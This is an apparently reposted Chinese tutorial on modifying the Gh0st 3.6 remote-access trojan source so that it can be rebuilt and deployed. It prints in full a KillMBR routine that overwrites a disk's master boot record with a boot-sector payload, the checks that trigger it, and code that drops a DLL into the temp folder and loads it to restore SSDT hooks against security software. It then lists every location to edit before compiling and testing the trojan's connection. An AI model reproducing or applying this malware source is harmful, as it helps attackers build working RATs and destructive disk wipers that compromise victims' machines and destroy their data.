Gh0st源码学习(二)去除硬盘锁和驱动
来源:互联网 发布:使命召唤8优化补丁 编辑:程序博客网 时间:2024/05/22 11:49
一、去除硬盘锁
GH0st硬盘锁是源码的作者为了保护版权而设置的,如果我们直接更改版权会造成硬盘被锁
中了硬盘锁的后果是非常严重的,特别是你电脑里有重要数据的时候,这样会导致你电脑里的数据全部丢失!
1、搜索 unsigned char scode[] =
位置:\Gh0st3.6原版\gh0st\gh0st.cpp(220):unsigned char scode[] =
/* 硬盘锁 代码位置 1
开始位置
/////////////////////////////////////////////////////////////////////////////
// CGh0stApp message handlers
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
结束位置
*/
2、再搜索这个:
void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)
位置:\Gh0st3.6原版\gh0st\BuildView.cpp(152):void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)
/* 去除硬盘锁 代码位置 2
开始处
OnEnableHttp();
char strVer[10];
char strTitle[10];
strVer[0] = 'C';
strVer[1] = '.';
strVer[2] = 'R';
strVer[3] = 'u';
strVer[4] = 'f';
strVer[5] = 'u';
strVer[6] = 's';
strVer[7] = ' ';
strVer[8] = 'S';
strVer[9] = '\0';
strTitle[0] = 'G';
strTitle[1] = 'h';
strTitle[2] = '0';
strTitle[3] = 's';
strTitle[4] = 't';
strTitle[5] = ' ';
strTitle[6] = 'R';
strTitle[7] = 'A';
strTitle[8] = 'T';
strTitle[9] = '\0';
CString str;
GetDlgItemText(IDC_STATIC_VER, str);
if (str.Find(strVer) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
GetParent()->GetWindowText(str);
if (str.Find(strTitle) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
结束处
*/
编译成功!
二、去除驱动文件
现在利用驱动程序在ring0态恢复SSDT HOOK(钩子),使部分安全软件的主动防御和监控失效的功能已经被很多杀软主动拦截或者驱动文件本身对于杀软已经失效,所以我们得去除掉这个驱动文件了。去除sys文件无非就是把调用了这个功能的地方注释掉就可以了,然后再去除sys的资源调用,就不会再加载驱动恢复SSDT了
1、先搜索ResetSSDT,然后把搜索到的全注释掉 10处 这里要从根文件夹搜索
1-5 处 位置: \Gh0st3.6原版\Server\install\install.cpp(439):bool ResetSSDT(HMODULE hModule)
/*
去除驱动文件 代理位置 1-5/10
开始位置
bool ResetSSDT(HMODULE hModule)
{
typedef bool (__stdcall * LPResetSSDT)();
bool bRet = true;
char strTmpPath[MAX_PATH];
char strDllPath[MAX_PATH];
GetTempPath(sizeof(strTmpPath), strTmpPath);
GetTempPath(sizeof(strDllPath), strDllPath);
wsprintf(strDllPath, "%s\\%d_ex.tmp", strTmpPath, GetTickCount());
try
{
ReleaseResource(hModule, IDR_DLL, "BIN", strDllPath, NULL);
HMODULE hDll = LoadLibrary(strDllPath);
if (hDll == NULL)
{
throw "";
}
LPResetSSDT ResetSSDT = (LPResetSSDT)GetProcAddress(hDll, "ResetSSDT");
if (ResetSSDT == NULL)
throw "";
ResetSSDT();
FreeLibrary(hDll);
}catch(...)
{
bRet = false;
DeleteFile(strDllPath);
}
return bRet;
}
结束位置
*/
2、第 6/10处
\Server\install\install.cpp(581): ResetSSDT(hInstance);
// 除去 驱动文件 位置 6/10
// ResetSSDT(hInstance);
3、\Gh0st3.6原版\Server\svchost\svchost.cpp(11):#include "common/resetssdt.h"
//除去驱动代码位置 7/10
//#include "common/resetssdt.h"
4、\Gh0st3.6原版\Server\svchost\svchost.cpp(24):extern "C" __declspec(dllexport) bool ResetSSDT();
//除去驱动代码位置 8/10
//extern "C" __declspec(dllexport) bool ResetSSDT();5、\Gh0st3.6原版\Server\svchost\svchost.cpp(83): ResetSSDT();
//除去驱动代码位置 9/10
// ResetSSDT();6、\Gh0st3.6原版\Server\svchost\svchost.cpp(222):extern "C" __declspec(dllexport) bool ResetSSDT()
//除去驱动代码位置 10/10
/*
extern "C" __declspec(dllexport) bool ResetSSDT()
{
return RestoreSSDT(CKeyboardManager::g_hInstance);
}
*/7、注释掉资源调用
搜这句话 IDR_SYS
位置 :\Gh0st3.6原版\Server\svchost\svchost.rc(29):IDR_SYS BIN DISCARDABLE "..\\sys\\RESSDT.sys"
//注释 驱动 资源文件
//IDR_SYS BIN DISCARDABLE "..\\sys\\RESSDT.sys" 再删除svchost files 工程中的 RESSDT.sys
8、在文件夹中的工程 中 搜索:resetssdt.h
删除!
最后就是再编译一次!!!
清除垃圾文件!
测试上线! 目录中多一个BIN目录,中就Gh0st的运行程序 0 0